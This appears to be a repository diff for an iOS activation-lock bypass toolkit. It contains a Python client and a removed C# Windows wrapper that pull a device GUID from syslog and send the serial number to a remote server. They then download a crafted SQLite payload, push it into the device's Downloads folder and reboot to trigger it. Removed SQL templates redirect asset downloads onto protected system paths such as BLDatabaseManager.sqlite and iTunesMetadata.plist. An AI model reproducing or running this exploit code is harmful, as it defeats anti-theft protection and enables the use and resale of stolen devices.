+        print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
+        print(f"   Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
+        print(f"   Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
+        
+        UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
+        
+        while True:
+            guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
+            if UUID_PATTERN.match(guid_input):
+                return guid_input.upper()
+            print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
+
+    def get_guid_auto(self):
+        """Автоматическое определение GUID (опционально)"""
+        self.log("Attempting to auto-detect GUID from logs...", "detail")
+        
         udid = self.device_info['UniqueDeviceID']
         log_path = f"{udid}.logarchive"
-        if os.path.exists(log_path): shutil.rmtree(log_path)
+        if os.path.exists(log_path):
+            shutil.rmtree(log_path)
         
-        self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
+        code, _, _ = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
+        logs = ""
         
-        if not os.path.exists(log_path):
-            self.log("Archive failed, trying live watch...", "warn")
-            _, out, _ = self._run_cmd(["pymobiledevice3", "syslog", "watch"], timeout=60)
-            logs = out
-        else:
+        if code == 0 and os.path.exists(log_path):
             tmp = "final.logarchive"
-            if os.path.exists(tmp): shutil.rmtree(tmp)
+            if os.path.exists(tmp):
+                shutil.rmtree(tmp)
             shutil.move(log_path, tmp)
             _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
             shutil.rmtree(tmp)
+        else:
+            self.log("Log archive failed — falling back to live syslog (60s)...", "warn")
+            try:
+                proc = subprocess.Popen(
+                    ["pymobiledevice3", "syslog", "live"],
+                    stdout=subprocess.PIPE,
+                    stderr=subprocess.PIPE,
+                    text=True
+                )
+                time.sleep(60)
+                proc.terminate()
+                logs, _ = proc.communicate()
+            except Exception as e:
+                self.log(f"Live syslog failed: {e}", "error")
+                return None
 
         guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
         for line in logs.splitlines():
-            if "BLDatabaseManager" in line:
+            if "BLDatabaseManager" in line or "systemgroup" in line.lower():
                 match = guid_pattern.search(line)
-                if match: return match.group(1).upper()
+                if match:
+                    return match.group(1).upper()
         return None
 
+    # Новая функция: Получаем все URL от сервера
+    def get_all_urls_from_server(self, prd, guid, sn):
+        """Запрашивает у сервера все три URL (stage1, stage2, stage3)"""
+        params = f"prd={prd}&guid={guid}&sn={sn}"
+        url = f"{self.api_url}?{params}"
+
+        self.log(f"Requesting all URLs from server: {url}", "detail")
+        
+        # Используем curl для получения JSON
+        code, out, err = self._run_cmd(["curl", "-s", url])
+        if code != 0:
+            self.log(f"Server request failed: {err}", "error")
+            return None, None, None
+
+        try:
+            data = json.loads(out)
+            if data.get('success'):
+                stage1_url = data['links']['step1_fixedfile']
+                stage2_url = data['links']['step2_bldatabase']
+                stage3_url = data['links']['step3_final']
+                return stage1_url, stage2_url, stage3_url
+            else:
+                self.log("Server returned error response", "error")
+                return None, None, None
+        except json.JSONDecodeError:
+            self.log("Server did not return valid JSON", "error")
+            return None, None, None
+
     def run(self):
         os.system('clear')
         print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
@@ -124,66 +207,149 @@ class BypassAutomation:
         self.verify_dependencies()
         self.detect_device()
         
-        input(f"{Style.YELLOW}Press Enter to start...{Style.RESET}")
+        print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
+        print(f"  1. {Style.GREEN}Auto-detect from device logs{Style.RESET}")
+        print(f"  2. {Style.YELLOW}Manual input{Style.RESET}")
         
-        # 1. Reboot
-        self.log("Rebooting device...", "step")
-        self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
-        time.sleep(30)
+        choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
         
-        # 2. Get GUID
-        self.guid = self.get_guid()
-        if not self.guid:
-            self.log("Could not find GUID in logs.", "error")
-            sys.exit(1)
-        self.log(f"GUID: {self.guid}", "success")
+        if choice == "1":
+            self.guid = self.get_guid_auto()
+            if self.guid:
+                self.log(f"Auto-detected GUID: {self.guid}", "success")
+            else:
+                self.log("Could not auto-detect GUID, falling back to manual input", "warn")
+                self.guid = self.get_guid_manual()
+        else:
+            self.guid = self.get_guid_manual()
         
-        # 3. API Call
-        self.log("Requesting Payload...", "step")
-        params = f"prd={self.device_info['ProductType']}&guid={self.guid}&sn={self.device_info['SerialNumber']}"
-        url = f"{self.api_url}?{params}"
+        self.log(f"Using GUID: {self.guid}", "info")
+        
+        input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
+
+        # 1. Initial Reboot
+        self.log("Performing initial reboot...", "step")
+        code, _, err = self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
+        if code != 0:
+            self.log(f"Reboot command failed: {err}", "warn")
+        else:
+            self.log("Reboot command sent, waiting 30 seconds...", "info")
+            time.sleep(30)
+
+        # 2. API Call & Get All URLs
+        self.log("Requesting All Payload Stages from Server...", "step")
+        prd = self.device_info['ProductType']
+        sn = self.device_info['SerialNumber']
         
-        _, out, _ = self._run_cmd(["curl", "-s", url])
-        if not out.startswith("http"):
-            self.log(f"Server Error: {out}", "error")
+        stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
+        
+        if not stage1_url or not stage2_url or not stage3_url:
+            self.log("Failed to get URLs from server", "error")
             sys.exit(1)
-            
-        # 4. Download & Deploy
-        download_url = out.strip()
-        local_db = "downloads.28.sqlitedb"
-        if os.path.exists(local_db): os.remove(local_db)
         
-        self._run_cmd(["curl", "-L", "-o", local_db, download_url])
+        self.log(f"Stage1 URL: {stage1_url}", "detail")
+        self.log(f"Stage2 URL: {stage2_url}", "detail")
+        self.log(f"Stage3 URL: {stage3_url}", "detail")
+
+        # 3. Pre-download all stages
+        self.log("Pre-loading all payload stages...", "step")
+        stages = [
+            ("stage1", stage1_url),
+            ("stage2", stage2_url), 
+            ("stage3", stage3_url)
+        ]
+        
+        for stage_name, stage_url in stages:
+            self.log(f"Pre-loading: {stage_name}...", "detail")
+            code, http_code, _ = self._run_cmd(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", stage_url])
+            if http_code != "200":
+                self.log(f"Warning: Failed to pre-load {stage_name} (HTTP {http_code})", "warn")
+            else:
+                self.log(f"Successfully pre-loaded {stage_name}", "info")
+            time.sleep(1)
+
+        # 4. Download & Validate final payload (stage3)
+        self.log("Downloading final payload...", "step")
+        local_db = "downloads.28.sqlitedb"
+        if os.path.exists(local_db):
+            os.remove(local_db)
         
+        self.log(f"Downloading from: {stage3_url}...", "info")
+        code, _, err = self._run_cmd(["curl", "-L", "-o", local_db, stage3_url])
+        if code != 0:
+            self.log(f"Download failed: {err}", "error")
+            sys.exit(1)
+
+        # Validate database
+        self.log("Validating payload database...", "detail")
         conn = sqlite3.connect(local_db)
         try:
             res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
-            if res.fetchone()[0] == 0: raise Exception("Invalid DB")
-        except:
-            self.log("Invalid payload received.", "error")
+            if res.fetchone()[0] == 0:
+                raise Exception("Invalid DB - no asset table found")
+            
+            res = conn.execute("SELECT COUNT(*) FROM asset")
+            count = res.fetchone()[0]
+            if count == 0:
+                raise Exception("Invalid DB - no records in asset table")
+                
+            self.log(f"Database validation passed - {count} records found", "info")
+            
+            res = conn.execute("SELECT pid, url, local_path FROM asset")
+            for row in res.fetchall():
+                self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
+                
+        except Exception as e:
+            self.log(f"Invalid payload received: {e}", "error")
             sys.exit(1)
-        conn.close()
+        finally:
+            conn.close()
         
         # 5. Upload
-        self.log("Uploading...", "step")
+        self.log("Uploading Payload via AFC...", "step")
         target = "/Downloads/downloads.28.sqlitedb"
         
         if self.afc_mode == "ifuse":
-            self.mount_afc()
+            if not self.mount_afc():
+                self.log("Mounting failed — falling back to pymobiledevice3", "warn")
+                self.afc_mode = "pymobiledevice3"
+        
+        if self.afc_mode == "ifuse":
             fpath = self.mount_point + target
-            if os.path.exists(fpath): os.remove(fpath)
+            if os.path.exists(fpath):
+                os.remove(fpath)
             shutil.copy(local_db, fpath)
+            self.log("Uploaded via ifuse", "info")
         else:
             self._run_cmd(["pymobiledevice3", "afc", "rm", target])
-            self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
+            code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
+            if code != 0:
+                self.log(f"AFC upload failed: {err}", "error")
+                sys.exit(1)
+            self.log("Uploaded via pymobiledevice3", "info")
             
-        self.log("Payload Deployed. Rebooting...", "success")
-        self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
+        self.log("✅ Payload Deployed Successfully", "success")
         
-        print(f"\n{Style.GREEN}Process Complete. Device should activate after reboot.{Style.RESET}")
-        self._cleanup()
-
-    def _cleanup(self): self.unmount_afc()
+        # 6. Final Reboot
+        self.log("Rebooting device to trigger activation...", "step")
+        code, _, err = self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
+        if code != 0:
+            self.log(f"Reboot command failed: {err}. Device may reboot anyway.", "warn")
+        else:
+            self.log("Reboot command sent.", "info")
+        
+        print(f"\n{Style.GREEN}Process Complete.{Style.RESET}")
+        print(f"→ Device will process payload on boot.")
+        print(f"→ Monitor logs with: {Style.CYAN}idevicesyslog | grep -E 'itunesstored|bookassetd'{Style.RESET}")
+        print(f"→ Used GUID: {Style.BOLD}{self.guid}{Style.RESET}")
+        print(f"→ All stages pre-loaded: stage1, stage2, stage3")
 
 if __name__ == "__main__":
-    BypassAutomation().run()
+    try:
+        BypassAutomation().run()
+    except KeyboardInterrupt:
+        print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
+        sys.exit(0)
+    except Exception as e:
+        print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
+        sys.exit(1)

+ 0 - 441
client_windows.cs

@@ -1,441 +0,0 @@
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Linq;
-using System.Net.Http;
-using System.Text.Json;
-using System.Text.RegularExpressions;
-using System.Threading;
-using System.Threading.Tasks;
-using System.Collections.Generic;
-
-namespace GoIosBypassSuite
-{
-    // Data models for parsing go-ios JSON output
-    public class GoIosDevice
-    {
-        public string Udid { get; set; }
-        public string DeviceName { get; set; }
-        public string ProductVersion { get; set; }
-        public string ProductType { get; set; }
-        public string HardwareModel { get; set; }
-        // go-ios returns "DeviceValues" or similar keys depending on version
-        public Dictionary<string, object> DeviceValues { get; set; }
-    }
-
-    class Program
-    {
-        // ==========================================
-        // CONFIGURATION
-        // ==========================================
-        private const string TOOL_EXEC = "iOS.exe"; // Your precompiled go-ios executable
-        private const string REMOTE_API = "https://albert.ip-info.me/files/get.php";
-        private const int TRIGGER_TIMEOUT = 300;
-        
-        // ==========================================
-        // STATE
-        // ==========================================
-        private static readonly HttpClient _httpClient = new HttpClient();
-        private static GoIosDevice _targetDevice;
-        private static Process _tunnelProcess;
-
-        static async Task Main(string[] args)
-        {
-            Console.Title = "Go-iOS Windows Bypass Wrapper";
-            PrintBanner();
-
-            try
-            {
-                // 1. Environment & Security
-                CheckEnvironment();
-                
-                // 2. Device Handshake
-                Console.WriteLine("[*] Waiting for device...");
-                _targetDevice = await WaitForDevice(30);
-                PrintDeviceInfo(_targetDevice);
-
-                // 3. Start Tunnel (Crucial for Windows support)
-                StartTunnelDaemon();
-
-                Console.WriteLine("\n[!] Press ENTER to begin the sequence...");
-                Console.ReadLine();
-
-                // 4. Main Sequence
-                await RunSequence();
-            }
-            catch (Exception ex)
-            {
-                Log.Error($"Fatal: {ex.Message}");
-            }
-            finally
-            {
-                CleanupTunnel();
-                Console.WriteLine("[*] Process terminated. Press any key to exit.");
-                Console.ReadKey();
-            }
-        }
-
-        private static async Task RunSequence()
-        {
-            // STEP 1: Reboot
-            Log.Header("Phase 1: Initial Reset");
-            RunGoIosCommand("reboot");
-            await WaitForDeviceReconnection(120);
-
-            // STEP 2: Syslog & GUID
-            Log.Header("Phase 2: Identity Token Extraction");
-            string guid = await ExtractGuidFromSyslog();
-            Log.Success($"Target GUID: {guid}");
-
-            // STEP 3: API Handshake
-            Log.Header("Phase 3: Server Authorization");
-            string downloadUrl = await GetPayloadUrl(_targetDevice.ProductType, guid, GetSerialNumber(_targetDevice));
-            Log.Info($"Payload URL: {downloadUrl}");
-
-            // STEP 4: Download Payload
-            Log.Header("Phase 4: Payload Acquisition");
-            string localFile = "payload.db";
-            await DownloadFile(downloadUrl, localFile);
-
-            // STEP 5: Cleanup Old Files
-            Log.Header("Phase 5: Artifact Sanitation");
-            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
-            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
-            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
-
-            // STEP 6: Injection
-            Log.Header("Phase 6: Payload Injection");
-            PushFile(localFile, "/Downloads/downloads.28.sqlitedb");
-            File.Delete(localFile); // Clean local temp
-
-            // STEP 7: Reboot
-            Log.Header("Phase 7: Application Reboot");
-            RunGoIosCommand("reboot");
-            await WaitForDeviceReconnection(300);
-
-            // STEP 8: Metadata Check
-            Log.Header("Phase 8: Verifying iTunes Metadata");
-            if (!await WaitForRemoteFile("/iTunes_Control/iTunes/iTunesMetadata.plist", 30))
-            {
-                Log.Warn("Metadata file missing, continuing riskily...");
-            }
-
-            // STEP 9: Final Trigger Sequence
-            Log.Header("Phase 9: Trigger Monitor");
-            RunGoIosCommand("reboot");
-            await WaitForDeviceReconnection(300);
-
-            Log.Info("Waiting for trigger asset (asset.epub)...");
-            if (await WaitForRemoteFile("/Books/asset.epub", TRIGGER_TIMEOUT))
-            {
-                Log.Success("Trigger detected! Finalizing...");
-                
-                // Wait for metadata to vanish
-                await WaitForRemoteFileDisappearance("/iTunes_Control/iTunes/iTunesMetadata.plist", 300);
-                
-                // Delete trigger
-                RemoveRemoteFile("/Books/asset.epub");
-                
-                // Cleanup downloads
-                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
-                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
-                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
-
-                // Final Reboot
-                RunGoIosCommand("reboot");
-                Log.Success("Sequence Complete.");
-            }
-            else
-            {
-                Log.Error("Trigger timeout. Sequence failed.");
-            }
-        }
-
-        // ==========================================
-        // GO-IOS WRAPPERS
-        // ==========================================
-
-        private static void StartTunnelDaemon()
-        {
-            Log.Info("Starting iOS Tunnel Daemon...");
-            try
-            {
-                // go-ios tunnel command - runs in background
-                var startInfo = new ProcessStartInfo
-                {
-                    FileName = TOOL_EXEC,
-                    Arguments = "tunnel start",
-                    UseShellExecute = false,
-                    CreateNoWindow = true,
-                    RedirectStandardOutput = true,
-                    RedirectStandardError = true
-                };
-
-                _tunnelProcess = Process.Start(startInfo);
-                Thread.Sleep(3000); // Give it time to initialize
-
-                if (_tunnelProcess.HasExited)
-                {
-                    string err = _tunnelProcess.StandardError.ReadToEnd();
-                    throw new Exception($"Tunnel failed to start: {err}");
-                }
-                Log.Success("Tunnel active.");
-            }
-            catch (Exception ex)
-            {
-                throw new Exception($"Could not create tunnel: {ex.Message}");
-            }
-        }
-
-        private static void CleanupTunnel()
-        {
-            if (_tunnelProcess != null && !_tunnelProcess.HasExited)
-            {
-                try { _tunnelProcess.Kill(); } catch { }
-            }
-        }
-
-        private static string RunGoIosCommand(string args, bool returnJson = false)
-        {
-            // Append --nojson if we specifically DON'T want json, 
-            // but go-ios defaults to JSON usually. 
-            // We will rely on the tool's default behavior.
-            
-            var psi = new ProcessStartInfo
-            {
-                FileName = TOOL_EXEC,
-                Arguments = args,
-                RedirectStandardOutput = true,
-                RedirectStandardError = true,
-                UseShellExecute = false,
-                CreateNoWindow = true
-            };
-
-            using (var p = Process.Start(psi))
-            {
-                string output = p.StandardOutput.ReadToEnd();
-                string error = p.StandardError.ReadToEnd();
-                p.WaitForExit();
-
-                if (p.ExitCode != 0 && !string.IsNullOrEmpty(error))
-                {
-                    // Some commands write to stderr but succeed, basic check
-                    if (!error.Contains("warn", StringComparison.OrdinalIgnoreCase))
-                        Log.Warn($"Command '{args}' error: {error.Trim()}");
-                }
-
-                return output;
-            }
-        }
-
-        private static void PushFile(string localPath, string remotePath)
-        {
-            Log.Detail($"Pushing {localPath} -> {remotePath}");
-            // go-ios fsync push --srcPath=X --dstPath=Y
-            RunGoIosCommand($"fsync push --srcPath=\"{localPath}\" --dstPath=\"{remotePath}\"");
-        }
-
-        private static void RemoveRemoteFile(string remotePath)
-        {
-            Log.Detail($"Deleting {remotePath}");
-            // go-ios fsync rm --path=X
-            RunGoIosCommand($"fsync rm --path=\"{remotePath}\"");
-        }
-
-        private static async Task<bool> WaitForRemoteFile(string remotePath, int timeoutSeconds)
-        {
-            var end = DateTime.Now.AddSeconds(timeoutSeconds);
-            while (DateTime.Now < end)
-            {
-                // Use 'tree' or 'ls' to check existence. 
-                // go-ios fsync tree --path=/Books returns JSON or file list
-                string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
-                
-                // Check if output contains the filename or valid JSON entry
-                if (!string.IsNullOrWhiteSpace(output) && !output.Contains("no such file") && !output.Contains("error"))
-                    return true;
-
-                await Task.Delay(2000);
-            }
-            return false;
-        }
-
-        private static async Task WaitForRemoteFileDisappearance(string remotePath, int timeoutSeconds)
-        {
-            var end = DateTime.Now.AddSeconds(timeoutSeconds);
-            while (DateTime.Now < end)
-            {
-                string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
-                // If we get an error or empty result, file is likely gone
-                if (string.IsNullOrWhiteSpace(output) || output.Contains("no such file") || output.Contains("error"))
-                    return;
-                    
-                await Task.Delay(2000);
-            }
-        }
-
-        private static async Task<string> ExtractGuidFromSyslog()
-        {
-            Log.Info("Scanning syslog for BLDatabaseManager...");
-            
-            // We launch syslog and read stream for a fixed time
-            var psi = new ProcessStartInfo
-            {
-                FileName = TOOL_EXEC,
-                Arguments = "syslog",
-                UseShellExecute = false,
-                RedirectStandardOutput = true,
-                CreateNoWindow = true
-            };
-
-            using (var p = Process.Start(psi))
-            {
-                var cts = new CancellationTokenSource();
-                string foundGuid = null;
-                
-                // Read loop
-                Task.Run(async () => 
-                {
-                    string line;
-                    while ((line = await p.StandardOutput.ReadLineAsync()) != null)
-                    {
-                        if (line.Contains("BLDatabaseManager.sqlite"))
-                        {
-                            var match = Regex.Match(line, @"SystemGroup/([A-F0-9\-]{36})");
-                            if (match.Success)
-                            {
-                                foundGuid = match.Groups[1].Value;
-                                cts.Cancel(); // Stop waiting
-                            }
-                        }
-                    }
-                }, cts.Token);
-
-                // Wait max 60 seconds
-                try { await Task.Delay(60000, cts.Token); } catch (TaskCanceledException) { }
-
-                try { p.Kill(); } catch { }
-
-                if (foundGuid == null) throw new Exception("GUID not found in logs.");
-                return foundGuid;
-            }
-        }
-
-        // ==========================================
-        // HELPERS
-        // ==========================================
-
-        private static async Task<GoIosDevice> WaitForDevice(int timeoutSec)
-        {
-            var end = DateTime.Now.AddSeconds(timeoutSec);
-            while (DateTime.Now < end)
-            {
-                string json = RunGoIosCommand("list --details");
-                try
-                {
-                    // go-ios returns a list of devices. 
-                    // Warning: format might be `{"devices": [...]}` or raw array depending on version.
-                    // We assume a simple list or wrapper here. 
-                    // For robustness, we'll try to just grab the first object.
-                    
-                    if (json.Contains("UDID"))
-                    {
-                        // Simple hacky parse if full JSON model fails or is complex
-                        var devices = JsonSerializer.Deserialize<List<GoIosDevice>>(json);
-                        if (devices != null && devices.Count > 0) return devices[0];
-                    }
-                    
-                    // Alternative: sometimes it wraps in a "devices" key
-                     var root = JsonDocument.Parse(json);
-                     if (root.RootElement.TryGetProperty("devices", out var devArray) && devArray.GetArrayLength() > 0)
-                     {
-                         var first = devArray[0];
-                         return new GoIosDevice 
-                         { 
-                             Udid = first.GetProperty("UDID").GetString(),
-                             DeviceName = first.GetProperty("DeviceName").GetString(),
-                             ProductType = first.GetProperty("ProductType").GetString()
-                         };
-                     }
-                }
-                catch { /* Parsing failed, wait */ }
-                
-                await Task.Delay(2000);
-            }
-            throw new Exception("No device detected.");
-        }
-
-        private static async Task WaitForDeviceReconnection(int timeoutSec)
-        {
-            Log.Info("Waiting for reconnection...");
-            await Task.Delay(10000); // Grace period
-            await WaitForDevice(timeoutSec);
-            Log.Success("Device Reconnected.");
-        }
-
-        private static async Task<string> GetPayloadUrl(string model, string guid, string sn)
-        {
-            var url = $"{REMOTE_API}?prd={model}&guid={guid}&sn={sn}";
-            var response = await _httpClient.GetStringAsync(url);
-            return response.Trim();
-        }
-
-        private static async Task DownloadFile(string url, string path)
-        {
-            var data = await _httpClient.GetByteArrayAsync(url);
-            await File.WriteAllBytesAsync(path, data);
-        }
-
-        private static string GetSerialNumber(GoIosDevice device)
-        {
-            // Try parsing the values dictionary if standard property is missing
-            if (device.DeviceValues != null && device.DeviceValues.ContainsKey("SerialNumber"))
-                return device.DeviceValues["SerialNumber"].ToString();
-            
-            // Fallback: run distinct info command if needed, 
-            // but list --details usually has it.
-            return "UNKNOWN_SN"; 
-        }
-
-        private static void CheckEnvironment()
-        {
-            if (!File.Exists(TOOL_EXEC))
-            {
-                throw new FileNotFoundException($"Cannot find {TOOL_EXEC}. Please place it next to this program.");
-            }
-        }
-
-        private static void PrintDeviceInfo(GoIosDevice d)
-        {
-            Log.Info($"Connected: {d.DeviceName} ({d.ProductType})");
-            Log.Info($"UDID: {d.Udid}");
-        }
-
-        private static void PrintBanner()
-        {
-            Console.Clear();
-            Console.ForegroundColor = ConsoleColor.Cyan;
-            Console.WriteLine("--- Go-iOS Windows Wrapper ---");
-            Console.ResetColor();
-            Console.WriteLine();
-        }
-    }
-
-    // Simple Logger
-    static class Log
-    {
-        public static void Info(string m) => Write(ConsoleColor.White, "[*] " + m);
-        public static void Success(string m) => Write(ConsoleColor.Green, "[+] " + m);
-        public static void Warn(string m) => Write(ConsoleColor.Yellow, "[!] " + m);
-        public static void Error(string m) => Write(ConsoleColor.Red, "[-] " + m);
-        public static void Header(string m) { Console.WriteLine(); Write(ConsoleColor.Magenta, "=== " + m + " ==="); }
-        public static void Detail(string m) => Write(ConsoleColor.DarkGray, "    -> " + m);
-
-        private static void Write(ConsoleColor c, string m)
-        {
-            Console.ForegroundColor = c;
-            Console.WriteLine(m);
-            Console.ResetColor();
-        }
-    }
-}

BIN
ios.exe


BIN
server/.DS_Store


BIN
server/public/.DS_Store


+ 0 - 406
offline_bypass.py → server/public/BLDatabaseManager.png

@@ -1,27 +1,3 @@
-# --- DO NOT USE THIS ---
-# --- THIS WILL NOT WORK ---
-# --- REF ONLY. MISTAKE ---
-
-import sys
-import os
-import time
-import subprocess
-import re
-import shutil
-import sqlite3
-import atexit
-import socket
-import threading
-import zipfile
-import tempfile
-import binascii
-from http.server import SimpleHTTPRequestHandler
-from socketserver import TCPServer
-
-# --- CONFIGURATION & CONSTANTS ---
-
-# SQL Template 1: BLDatabaseManager Structure
-BL_STRUCTURE_SQL = """
 PRAGMA foreign_keys=OFF;
 BEGIN TRANSACTION;
 CREATE TABLE ZBLDOWNLOADPOLICYINFO ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZSTOREPLAYLISTIDENTIFIER INTEGER, ZPOLICYID VARCHAR, ZPOLICYDATA BLOB );
@@ -92,385 +68,3 @@ INSERT INTO ZBLDOWNLOADINFO VALUES(1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,0,0,0,NU
 CREATE INDEX Z_BLDownloadInfo_byDownloadIDIndex ON ZBLDOWNLOADINFO (ZDOWNLOADID COLLATE BINARY ASC);
 CREATE INDEX Z_BLDownloadInfo_byStateIndex ON ZBLDOWNLOADINFO (ZSTATE COLLATE BINARY ASC);
 COMMIT;
-"""
-
-# SQL Template 2: Downloads Structure (with placeholders)
-DOWNLOADS_STRUCTURE_SQL = """
-PRAGMA foreign_keys=OFF;
-BEGIN TRANSACTION;
-CREATE TABLE asset (
-    pid INTEGER, 
-    download_id INTEGER, 
-    asset_order INTEGER DEFAULT 0, 
-    asset_type TEXT, 
-    bytes_total INTEGER, 
-    url TEXT, 
-    local_path TEXT, 
-    destination_url TEXT, 
-    path_extension TEXT, 
-    retry_count INTEGER, 
-    http_method TEXT, 
-    initial_odr_size INTEGER, 
-    is_discretionary INTEGER DEFAULT 0, 
-    is_downloaded INTEGER DEFAULT 0, 
-    is_drm_free INTEGER DEFAULT 0, 
-    is_external INTEGER DEFAULT 0, 
-    is_hls INTEGER DEFAULT 0, 
-    is_local_cache_server INTEGER DEFAULT 0, 
-    is_zip_streamable INTEGER DEFAULT 0, 
-    processing_types INTEGER DEFAULT 0, 
-    video_dimensions TEXT, 
-    timeout_interval REAL, 
-    store_flavor TEXT, 
-    download_token INTEGER DEFAULT 0, 
-    blocked_reason INTEGER DEFAULT 0, 
-    avfoundation_blocked INTEGER DEFAULT 0, 
-    service_type INTEGER DEFAULT 0, 
-    protection_type INTEGER DEFAULT 0,
-    store_download_key TEXT, 
-    etag TEXT, 
-    bytes_to_hash INTEGER, 
-    hash_type INTEGER DEFAULT 0, 
-    server_guid TEXT, 
-    file_protection TEXT, 
-    variant_id TEXT, 
-    hash_array BLOB, 
-    http_headers BLOB, 
-    request_parameters BLOB, 
-    body_data BLOB, 
-    body_data_file_path TEXT,
-    sinfs_data BLOB, 
-    dpinfo_data BLOB, 
-    uncompressed_size INTEGER DEFAULT 0, 
-    url_session_task_id INTEGER DEFAULT -1, 
-    PRIMARY KEY (pid)
-);
-INSERT INTO asset VALUES(1,1,0,'media','https://google.com',NULL,'/private/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist','plist',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
-INSERT INTO asset VALUES(2,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-wal','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
-INSERT INTO asset VALUES(3,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-shm','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
-INSERT INTO asset VALUES(4,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
-COMMIT;
-"""
-
-# --- CLASSES ---
-
-class Style:
-    RESET = '\033[0m'
-    BOLD = '\033[1m'
-    DIM = '\033[2m'
-    RED = '\033[0;31m'
-    GREEN = '\033[0;32m'
-    YELLOW = '\033[1;33m'
-    BLUE = '\033[0;34m'
-    MAGENTA = '\033[0;35m'
-    CYAN = '\033[0;36m'
-
-class LocalServer:
-    """
-    Embedded HTTP server to serve the generated payloads to the device
-    over the local network (Wi-Fi).
-    """
-    def __init__(self, port=8080):
-        self.port = port
-        self.serve_dir = tempfile.mkdtemp(prefix="ios_activation_")
-        self.local_ip = self.get_local_ip()
-        self.thread = None
-        self.httpd = None
-
-    def get_local_ip(self):
-        """Attempts to find the LAN IP address."""
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-            # Connect to a public DNS server to determine outgoing interface IP
-            s.connect(("8.8.8.8", 80))
-            ip = s.getsockname()[0]
-            s.close()
-            return ip
-        except:
-            return "127.0.0.1"
-
-    def start(self):
-        """Starts the HTTP server in a background thread."""
-        os.chdir(self.serve_dir)
-        handler = SimpleHTTPRequestHandler
-        self.httpd = TCPServer(("", self.port), handler)
-        self.thread = threading.Thread(target=self.httpd.serve_forever)
-        self.thread.daemon = True
-        self.thread.start()
-        print(f"{Style.DIM}  ╰─▶ Local Server running at http://{self.local_ip}:{self.port} (Root: {self.serve_dir}){Style.RESET}")
-
-    def stop(self):
-        if self.httpd:
-            self.httpd.shutdown()
-            self.httpd.server_close()
-        if os.path.exists(self.serve_dir):
-            shutil.rmtree(self.serve_dir)
-
-    def get_file_url(self, filename):
-        return f"http://{self.local_ip}:{self.port}/{filename}"
-
-class PayloadGenerator:
-    """
-    Generates the specialized SQLite databases required for the bypass.
-    Originally logic from the PHP backend, now ported to Python.
-    """
-    def __init__(self, server_root, asset_root):
-        self.server_root = server_root
-        self.asset_root = asset_root
-
-    def _create_db_from_sql(self, sql_content, output_path):
-        try:
-            # Handle 'unistr' format (Oracle to SQLite conversion for python)
